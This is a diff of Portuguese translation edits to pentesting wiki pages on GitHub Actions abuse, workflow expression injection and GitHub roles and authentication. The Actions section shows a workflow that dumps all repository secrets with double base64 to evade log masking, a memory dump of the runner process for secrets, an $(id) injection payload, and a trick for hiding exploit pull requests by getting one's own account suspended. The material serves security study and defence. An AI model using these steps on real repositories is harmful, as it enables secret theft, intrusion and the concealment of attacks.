||||
```
|
||||
### Acessando AWS e GCP via OIDC
|
||||
|
||||
Check the following pages:
|
||||
Consulte as seguintes páginas:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -472,7 +472,7 @@ Check the following pages:
|
||||
|
||||
Se você estiver injetando conteúdo em um script, é interessante saber como acessar secrets:
|
||||
|
||||
- Se o secret ou token estiver definido em uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
|
||||
- Se o secret ou token estiver definido como uma **variável de ambiente**, eles podem ser acessados diretamente através do ambiente usando **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obter reverse shell with secrets</summary>
|
||||
<summary>Obter reverse shell usando secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -530,11 +530,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Para JavaScript actions, os secrets são passados via environment variables
|
||||
- Para JavaScript actions os secrets são enviados através de environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Para uma **custom action**, o risco pode variar dependendo de como um programa usa o secret que obteve do **argument**:
|
||||
- Para uma **custom action**, o risco pode variar dependendo de como um programa está usando o secret que obteve do **argument**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -542,7 +542,7 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para despejar todos os repository/org/environment secrets. Use double base64 para evadir o log masking do GitHub e decode localmente:
|
||||
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para dumpar todos os repository/org/environment secrets. Use double base64 para evitar o log masking do GitHub e decode localmente:
|
||||
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
@@ -558,31 +558,31 @@ run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
Decodifique localmente:
|
||||
Decode localmente:
|
||||
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Dica: para stealth durante os testes, criptografe antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
|
||||
Dica: para furtividade durante testes, encripte antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
|
||||
|
||||
### Abusando de Self-hosted runners
|
||||
### Abusing Self-hosted runners
|
||||
|
||||
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura fora do GitHub** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
|
||||
A forma de encontrar quais **Github Actions are being executed in non-github infrastructure** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
|
||||
|
||||
**Self-hosted** runners podem ter acesso a **extra sensitive information**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que estejam isolados e destruídos, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
|
||||
**Self-hosted** runners podem ter acesso a **informações sensíveis extras**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que esteja isolado e destruído, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
|
||||
|
||||
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que conterá todos os secrets dos workflows em qualquer etapa ao despejar sua memória:
|
||||
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que irá conter todos os secrets dos workflows em qualquer etapa ao dumpar sua memória:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Confira [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Consulte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Registro de Imagens Docker do Github
|
||||
### Github Docker Images Registry
|
||||
|
||||
É possível criar Github actions que irão **construir e armazenar uma Docker image dentro do Github**.\
|
||||
Um exemplo pode ser encontrado no elemento expansível a seguir:
|
||||
É possível criar Github actions que irão **construir e armazenar uma imagem Docker dentro do Github**.\\
|
||||
Um exemplo pode ser encontrado no item expansível a seguir:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -617,33 +617,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Como você pode ver no código anterior, o Github registry é hospedado em **`ghcr.io`**.
|
||||
Como você pode ver no código anterior, o Github registry está hospedado em **`ghcr.io`**.
|
||||
|
||||
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Docker Image usando um personal access token:
|
||||
Um usuário com permissões de leitura sobre o repo poderá então baixar a Docker Image usando um personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Então, o usuário poderia buscar por **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Informações sensíveis nos logs do Github Actions
|
||||
### Informações sensíveis nos Github Actions logs
|
||||
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá‑los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que esteja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá-los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Encobrindo seus rastros
|
||||
## Ocultando seus rastros
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR criado é claramente visível ao público no Github e para a conta GitHub alvo. No GitHub por padrão, nós **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou conseguir que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso iria **esconder todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR).
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Antes de tudo, qualquer PR aberto fica claramente visível ao público no Github e para a conta GitHub alvo. No GitHub, por padrão, nós **não podemos apagar um PR da internet**, mas há um detalhe. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou fazer com que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso **ocultaria todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR)
|
||||
|
||||
Uma organização no GitHub é muito proativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no github.
|
||||
Uma organização no GitHub é muito pró-ativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no GitHub.
|
||||
|
||||
> [!WARNING]
|
||||
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub no SIEM, já que pela UI do GitHub o PR teria sido removido.
|
||||
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub via SIEM, já que a partir do GitHub UI o PR seria removido.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
|
||||
+13
-13
@@ -4,16 +4,16 @@
|
||||
|
||||
## Entendendo o risco
|
||||
|
||||
GitHub Actions renderiza expressões ${{ ... }} antes da etapa ser executada. O valor renderizado é inserido no programa da etapa (para run steps, um shell script). Se você interpolar entrada não confiável diretamente dentro de run:, o atacante controla parte do programa do shell e pode executar comandos arbitrários.
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Pontos-chave:
|
||||
- A renderização ocorre antes da execução. O run script é gerado com todas as expressões resolvidas e então executado pelo shell.
|
||||
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que o disparou (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: não é uma defesa confiável, porque a injeção ocorre na fase de renderização do template. Atacantes podem quebrar as aspas ou injetar operadores via entrada especialmente criada.
|
||||
- A renderização ocorre antes da execução. O script de run é gerado com todas as expressões resolvidas e então executado pelo shell.
|
||||
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que dispara (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting dentro de run: não é uma defesa confiável, porque a injeção acontece na fase de renderização do template. Atacantes podem sair das aspas ou injetar operadores via input maliciosamente construído.
|
||||
|
||||
## Padrão vulnerável → RCE no runner
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Workflow vulnerável (disparado quando alguém abre uma nova issue):
|
||||
```yaml
|
||||
@@ -36,7 +36,7 @@ with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Se um atacante abrir uma issue intitulada $(id), a etapa renderizada torna-se:
|
||||
Se um atacante abrir uma issue com o título $(id), o step renderizado torna-se:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
@@ -45,11 +45,11 @@ A substituição de comando executa id no runner. Exemplo de saída:
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Por que colocar entre aspas não te salva:
|
||||
- As expressões são renderizadas primeiro, e então o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
|
||||
- As expressões são renderizadas primeiro, depois o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
|
||||
|
||||
## Padrão seguro (variáveis shell via env)
|
||||
## Padrão seguro (shell variables via env)
|
||||
|
||||
Mitigação correta: copie a entrada não confiável para uma variável de ambiente e, em seguida, use expansão nativa do shell ($VAR) no script de execução. Não reinserir com ${{ ... }} dentro do comando.
|
||||
Mitigação correta: copie a entrada não confiável para uma variável de ambiente, depois use a expansão nativa do shell ($VAR) no run script. Não re-incorpore com ${{ ... }} dentro do comando.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
@@ -66,9 +66,9 @@ Notas:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Superfícies acionáveis por leitores (trate como não confiáveis)
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Contas com permissão somente de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado por um atacante, a menos que se prove o contrário. Exemplos:
|
||||
Contas com apenas permissão de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado pelo atacante, a menos que se prove o contrário. Exemplos:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
@@ -79,14 +79,14 @@ Contas com permissão somente de leitura em repositórios públicos ainda podem
|
||||
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Dicas práticas
|
||||
## Practical tips
|
||||
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
|
||||
@@ -4,153 +4,153 @@
|
||||
|
||||
## Estrutura Básica
|
||||
|
||||
A estrutura básica do ambiente do github de uma grande **company** é possuir uma **enterprise** que possui **several organizations** e cada uma delas pode conter **several repositories** e **several teams.**. Empresas menores podem simplesmente **own one organization and no enterprises**.
|
||||
A estrutura básica do ambiente github de uma grande **company** é ter uma **enterprise** que possui **diversas organizations** e cada uma delas pode conter **vários repositories** e **várias teams.**. Empresas menores podem simplesmente **possuir uma organization e nenhuma enterprise**.
|
||||
|
||||
Do ponto de vista de um usuário, um **user** pode ser **a member** de **different enterprises and organizations**. Dentro delas o usuário pode ter **different enterprise, organization and repository roles**.
|
||||
Do ponto de vista do usuário, um **user** pode ser **member** de **diferentes enterprises e organizations**. Dentro delas o usuário pode ter **diferentes enterprise, organization e repository roles**.
|
||||
|
||||
Além disso, um usuário pode fazer **part of different teams** com diferentes enterprise, organization ou repository roles.
|
||||
Além disso, um usuário pode fazer **parte de diferentes teams** com diferentes enterprise, organization ou repository roles.
|
||||
|
||||
E finalmente **repositories may have special protection mechanisms**.
|
||||
E finalmente **os repositories podem ter mecanismos especiais de proteção**.
|
||||
|
||||
## Privilégios
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: Pessoas com esse papel podem **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. No entanto, elas **cannot access organization settings or content** a menos que sejam tornadas organization owner ou recebam acesso direto a um repositório pertencente à organização.
|
||||
- **Enterprise members**: Membros de organizations owned by your enterprise também são **automatically members of the enterprise**.
|
||||
- **Enterprise owner**: Pessoas com esse role podem **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. No entanto, eles **não podem acessar organization settings ou conteúdo** a menos que sejam tornados organization owner ou recebam acesso direto a um repository pertencente à organization.
|
||||
- **Enterprise members**: Membros das organizations possuídas pela sua enterprise também são **automaticamente members da enterprise**.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
Em uma organization os usuários podem ter diferentes papéis:
|
||||
Em uma organization os usuários podem ter diferentes roles:
|
||||
|
||||
- **Organization owners**: Organization owners têm **complete administrative access to your organization**. Esse papel deve ser limitado, mas não menor que duas pessoas na sua organização.
|
||||
- **Organization members**: O papel **default**, não administrativo para **people in an organization** é o organization member. Por padrão, organization members **have a number of permissions**.
|
||||
- **Organization owners**: Organization owners têm **complete administrative access to your organization**. Esse role deve ser limitado, mas não menor que duas pessoas na sua organization.
|
||||
- **Organization members**: O role **default**, não-administrativo para **pessoas em uma organization** é o organization member. Por padrão, organization members **têm uma série de permissões**.
|
||||
- **Billing managers**: Billing managers são usuários que podem **manage the billing settings for your organization**, como informações de pagamento.
|
||||
- **Security Managers**: É um papel que organization owners podem atribuir a qualquer team em uma organização. Quando aplicado, dá a cada membro da equipe permissões para **manage security alerts and settings across your organization, as well as read permissions for all repositories** na organização.
|
||||
- Se sua organização tiver um security team, você pode usar o security manager role para dar aos membros da equipe o mínimo de acesso que eles precisam à organização.
|
||||
- **Github App managers**: Para permitir que usuários adicionais **manage GitHub Apps owned by an organization**, um owner pode conceder-lhes permissões de GitHub App manager.
|
||||
- **Outside collaborators**: An outside collaborator é uma pessoa que tem **access to one or more organization repositories but is not explicitly a member** da organização.
|
||||
- **Security Managers**: É um role que organization owners podem atribuir a qualquer team dentro de uma organization. Quando aplicado, dá a cada membro do team permissões para **manage security alerts and settings across your organization, as well as read permissions for all repositories** na organization.
|
||||
- Se sua organization tem um security team, você pode usar o security manager role para dar aos membros do team o menor acesso necessário à organization.
|
||||
- **Github App managers**: Para permitir que usuários adicionais **manage GitHub Apps owned by an organization**, um owner pode conceder a eles GitHub App manager permissions.
|
||||
- **Outside collaborators**: Um outside collaborator é uma pessoa que tem **access to one or more organization repositories but is not explicitly a member** da organization.
|
||||
|
||||
Você pode **compare the permissions** desses papéis nesta tabela: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Você pode **comparar as permissões** desses roles nesta tabela: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
Em _https://github.com/organizations/\<org_name>/settings/member_privileges_ você pode ver as **permissions users will have just for being part of the organisation**.
|
||||
Em _https://github.com/organizations/\<org_name>/settings/member_privileges_ você pode ver as **permissões que os users terão apenas por fazer parte da organization**.
|
||||
|
||||
As configurações aqui definidas indicarão as seguintes permissões dos membros da organização:
|
||||
As configurações aqui indicadas vão determinar as seguintes permissões dos members da organization:
|
||||
|
||||
- Ser admin, writer, reader ou nenhum acesso sobre todos os repositórios da organização.
|
||||
- Se os membros podem criar repositórios private, internal ou public.
|
||||
- Se é possível forkar repositórios.
|
||||
- Ser admin, writer, reader ou sem permissão sobre todos os repositories da organization.
|
||||
- Se os members podem criar repositories private, internal ou public.
|
||||
- Se o fork de repositories é possível.
|
||||
- Se é possível convidar outside collaborators.
|
||||
- Se sites public ou private podem ser publicados.
|
||||
- As permissões que admins têm sobre os repositórios.
|
||||
- Se membros podem criar novas teams.
|
||||
- As permissões que admins têm sobre os repositories.
|
||||
- Se os members podem criar novos teams.
|
||||
|
||||
### Repository Roles
|
||||
|
||||
Por padrão os repository roles são criados:
|
||||
|
||||
- **Read**: Recomendado para **non-code contributors** que queiram ver ou discutir seu projeto
|
||||
- **Triage**: Recomendado para **contributors who need to proactively manage issues and pull requests** sem acesso de escrita
|
||||
- **Write**: Recomendado para contributors que **actively push to your project**
|
||||
- **Maintain**: Recomendado para **project managers who need to manage the repository** sem acesso a ações sensíveis ou destrutivas
|
||||
- **Admin**: Recomendado para pessoas que precisam de **full access to the project**, incluindo ações sensíveis e destrutivas como gerenciar segurança ou deletar um repositório
|
||||
- **Read**: Recomendado para **non-code contributors** que querem visualizar ou discutir seu projeto.
|
||||
- **Triage**: Recomendado para **contributors who need to proactively manage issues and pull requests** sem acesso de escrita.
|
||||
- **Write**: Recomendado para contributors que **actively push to your project**.
|
||||
- **Maintain**: Recomendado para **project managers who need to manage the repository** sem acesso a ações sensíveis ou destrutivas.
|
||||
- **Admin**: Recomendado para pessoas que precisam de **full access to the project**, incluindo ações sensíveis e destrutivas como gerenciar segurança ou deletar um repository.
|
||||
|
||||
Você pode **compare the permissions** de cada papel nesta tabela [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Você pode **comparar as permissões** de cada role nesta tabela [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Você também pode **create your own roles** em _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Você também pode **criar seus próprios roles** em _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
Você pode **list the teams created in an organization** em _https://github.com/orgs/\<org_name>/teams_. Note que para ver os teams que são filhos de outros teams você precisa acessar cada parent team.
|
||||
Você pode **listar as teams criadas em uma organization** em _https://github.com/orgs/\<org_name>/teams_. Note que para ver as teams que são children de outras teams você precisa acessar cada parent team.
|
||||
|
||||
### Users
|
||||
|
||||
Os users de uma organização podem ser **listed** em _https://github.com/orgs/\<org_name>/people._
|
||||
Os users de uma organization podem ser **listados** em _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
Nas informações de cada usuário você pode ver as **teams the user is member of**, e os **repos the user has access to**.
|
||||
Nas informações de cada user você pode ver as **teams das quais o user é member**, e os **repos aos quais o user tem access**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github oferece diferentes formas de autenticar na sua conta e executar ações em seu nome.
|
||||
Github oferece diferentes maneiras de autenticar na sua conta e executar ações em seu nome.
|
||||
|
||||
### Web Access
|
||||
|
||||
Acessando **github.com** você pode fazer login usando seu **username and password** (e um **2FA potentially**).
|
||||
Acessando **github.com** você pode login usando seu **username and password** (e um **2FA potencialmente**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Você pode configurar sua conta com uma ou várias public keys permitindo que a private key relacionada execute ações em seu nome. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
Você **cannot impersonate the user with these keys** mas se você não as usar pode ser possível que você **get discover for sending commits without a signature**. Saiba mais sobre [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Você **não pode impersonate o user com essas keys** mas se você não as usar pode ser possível que você **seja descoberto por enviar commits sem assinatura**. Saiba mais sobre [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Você pode gerar personal access token para **give an application access to your account**. Ao criar um personal access token o **user** precisa **specify** as **permissions** que o **token** terá. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Você pode gerar personal access token para **dar a uma aplicação acesso à sua conta**. Ao criar um personal access token o **user** precisa **especificar** as **permissões** que o **token** terá. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications podem pedir permissões **to access part of your github information or to impersonate you** para executar algumas ações. Um exemplo comum dessa funcionalidade é o botão **login with github** que você pode encontrar em algumas plataformas.
|
||||
Oauth applications podem pedir permissões **para acessar parte das suas informações do github ou para impersonate você** para executar algumas ações. Um exemplo comum dessa funcionalidade é o botão **login with github** que você pode encontrar em algumas plataformas.
|
||||
|
||||
- Você pode **create** suas próprias **Oauth applications** em [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Você pode ver todas as **Oauth applications that has access to your account** em [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Você pode ver os **scopes that Oauth Apps can ask for** em [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Você pode ver third party access de applications em uma **organization** em _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Você pode ver todas as **Oauth applications que têm acesso à sua conta** em [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Você pode ver os **scopes que Oauth Apps podem solicitar** em [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Você pode ver o acesso de terceiros por aplicações em uma **organization** em _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Algumas **security recommendations**:
|
||||
Algumas **recomendações de segurança**:
|
||||
|
||||
- Um **OAuth App** deveria sempre **act as the authenticated GitHub user across all of GitHub** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos scopes especificados.
|
||||
- Um OAuth App pode ser usado como provedor de identidade ao habilitar um "Login with GitHub" para o authenticated user.
|
||||
- **Don't** crie um **OAuth App** se você quer que sua aplicação atue em um **single repository**. Com o scope `repo`, OAuth Apps podem **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** crie um OAuth App para agir como uma aplicação para seu **team or company**. OAuth Apps autentica como um **single user**, então se uma pessoa cria um OAuth App para a empresa usar e depois ela sair, ninguém mais terá acesso a ele.
|
||||
- **More** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- Um **OAuth App** deve sempre **act as the authenticated GitHub user across all of GitHub** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos scopes especificados.
|
||||
- Um OAuth App pode ser usado como um provedor de identidade habilitando um "Login with GitHub" para o usuário autenticado.
|
||||
- **Não** construa um **OAuth App** se você quer que sua aplicação atue em um **single repository**. Com o scope `repo`, OAuth Apps podem **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Não** construa um OAuth App para atuar como uma aplicação para o seu **team ou company**. OAuth Apps autenticam como um **single user**, então se uma pessoa cria um OAuth App para uso da empresa e depois sai da empresa, mais ninguém terá acesso a ele.
|
||||
- **Mais** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications podem pedir permissões para **access your github information or impersonate you** para executar ações específicas sobre recursos específicos. Em Github Apps você precisa especificar os repositórios que o app terá acesso.
|
||||
Github applications podem pedir permissões para **acessar suas informações do github ou impersonate você** para executar ações específicas sobre recursos específicos. Nas Github Apps você precisa especificar os repositories aos quais o app terá acesso.
|
||||
|
||||
- Para instalar um GitHub App, você deve ser um **organisation owner or have admin permissions** em um repositório.
|
||||
- Para instalar um GitHub App, você deve ser um **organisation owner ou ter admin permissions** em um repository.
|
||||
- O GitHub App deve **connect to a personal account or an organisation**.
|
||||
- Você pode criar sua própria Github application em [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Você pode ver todas as **Github applications that has access to your account** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Estes são os **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do App ele poderá acessar alguns deles
|
||||
- Você pode ver installed apps em uma **organization** em _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Você pode ver todas as **Github applications que têm acesso à sua conta** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Estes são os **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do App ele poderá acessar alguns deles.
|
||||
- Você pode ver os apps instalados em uma **organization** em _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Algumas recomendações de segurança:
|
||||
|
||||
- Um GitHub App deve **take actions independent of a user** (a menos que o app esteja usando um [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Para manter os user-to-server access tokens mais seguros, você pode usar access tokens que expiram após 8 horas, e um refresh token que pode ser trocado por um novo access token. Para mais informação, veja "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Certifique-se de que o GitHub App integre com **specific repositories**.
|
||||
- Um GitHub App deve **take actions independent of a user** (a menos que o app esteja usando um token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os user-to-server access tokens mais seguros, você pode usar access tokens que expiram após 8 horas e um refresh token que pode ser trocado por um novo access token. Para mais informações, veja "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Certifique-se de que o GitHub App se integre com **repositories específicos**.
|
||||
- O GitHub App deve **connect to a personal account or an organisation**.
|
||||
